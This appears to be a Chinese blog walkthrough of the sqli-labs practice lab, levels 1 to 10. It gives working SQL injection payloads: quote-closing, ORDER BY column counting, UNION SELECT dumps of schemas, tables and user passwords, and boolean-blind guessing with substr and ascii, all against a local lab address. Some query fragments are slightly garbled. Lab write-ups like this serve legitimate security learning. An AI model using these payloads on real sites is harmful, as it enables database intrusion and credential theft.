sqli-labs通关教程----1~10关
最近感觉⾃⼰sql注⼊有点⽣疏了,想来复习⼀下,做个记录。
怎么安装⽹上有很多教程了,不多说了开整。
第⼀关
1.尝试报错我们在1之后加上‘,根据反馈信息1’后⾯多了⼀个‘所以我们想办法闭合⽤ 'or 1=1 --+。注意这⾥#没作⽤
2.接下来我们进⾏Order by 对前⾯的数据进⾏排序
id=1’ order by 3 --+
我们⽤order by 3 --+发现数据回显正常,但是我们发现⽤order by 4 --+数据回显不正常。 因此数据有三列。然后我们⽤使⽤union select 1,2,3联合查询语句查看页⾯是否有显⽰位。注意要将id=“1”改为任意⼀个不存在的id,因为id存在会爆出结果,所以要屏蔽掉
在这⾥我们补充⼀下
1)什么是显⽰位:
我们在进⾏⼿⼯SQL注⼊的时候会⽤到ORDER BY 查询列数,然后通过UNION SELECT爆出在⽹页中的显⽰位。这个显⽰位指的是⽹页中能够显⽰数据的位置。
举例来说,⽐如我们通过ORDER BY命令知道了表的列数为11。然后再使⽤UNION SELECT 1,2,3…,11 from table,⽹页中显⽰了信息8,那么说明⽹页只能够显⽰第8列中信息,不能显⽰其他列的信息。也可以理解为⽹页只开放了8这个窗⼝,你想要查询数据库信息就必须要通过这个窗⼝。所以如果我们想
要知道某个属性的值,⽐如admin,就要把admin 属性放到8的位置上,这样就能通过第8列爆出admin的信息
2)关于union查询:
使⽤union联合查询的前提是必须要有显⽰位,union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进⾏联合操作时,当前⼀个语句选择的内容为空,我们这⾥就将后⾯的语句的内容显⽰出来)此处前台页⾯返回了我们构造的 union 的
数据。这⾥还要注意⼀点的就是如果我们让union之前的id=1,这时候会显⽰id=1的信息并不会回显union之后的select信息,但是如果我们是id=-1此时不会显⽰id=1的信息⽽会显⽰union之后的信息。xpath注入和xml注入
union注⼊条件
①.只有最后⼀个select⼦句允许有order by
②.只有最后⼀个select⼦句允许有limit
③.只要union连接的⼏个查询的字段数⼀样且列的数据类型转换没有问题,就可以查询出结果
④.注⼊点页⾯有回显
3.接下来爆出数据库
192.168.0.100/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
在这⾥我们看⼀下两种爆数据库的区别:
192.168.0.100/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()--+
192.168.0.100/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
第⼀这是爆出当前的数据库,⽽第⼆个爆出的是所有的数据库。在使⽤了GROUP_CONCAT后,会将所有的数据合并在⼀起,limit是没有任何效果的。我们查看第⼀次报错:
可以看出在查询语句中出现了limit限制,因此我们在第⼆种语句爆出数据库的时候并不会爆出所有的数据库,所以我们⽤group_concat…
4.接下来我们爆出表名字:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.爆出列名字
?
id=-1' union select 1,group_concat(column_name),3 from lumns where table_name='users' --+
6.爆出内容
/?id=-1' union select 1,username,password from users where id=2 --+
第⼆关
变成数字型了其他⼀样
第三关
通过报错发现输⼊被('')包围之前的是被''包围,所以将'换成')即可
看列数
查表
查列
查列内容
第四关
是输⼊被 ("")包围,将'替换为("")就⾏,其他⼀样
第五关
打开发现只有⼀个you 将id改为⼀个不存在的数值就消失,可以判断是盲注,加单引号就报错,所以有sql注⼊,这⾥可以⽤ left(),substr(),mid(),ord()等函数
这⾥可以输⼊语句然后通过回显来判断是否为真,来⼀个个猜
这⾥我们使⽤⼀个这⾥substr函数,先了解什么是substr函数
Select substr(database(),1,1);
意思是使⽤取出数据库名称的第⼀个字符⼀次取出⼀个,由于mysql对⼤⼩写不敏感,⽤这个函数就可以区别⼤⼩写。
那我们如何知道要猜的名称长度,这⾥再⽤⼀个函数,length获得长度,但是基于boolean函数的只能返回真假所以Length(database())>8,通过这种⽅式来猜
先判断要猜解的数据库或者⽤户名的长度
⽐如⽤户名长度
`url?id=1' and length(user())<15 %23
url?id=1' and length(user())=15 %23
url?id=1' and length(user())>15 %23`
判断数据库名长度
测试payload
192.168.0.100/sql/less-5/?id=1' and ascii(substr(database(),1,1))>113--+
判断数据库名第⼀个字符的ascii码⼤于113,这⾥不必⼀个个猜,可以⽤⼆分法来判断
就这样⼀猜,最后得到数据库名security
之后猜表名
192.168.0.100/sql/less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1),1,1))<113--+
获取当前数据库第⼀个表的表名第⼀个字符的ascii码⼩于113,修改limit x,1和substr中的位数限定数字
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论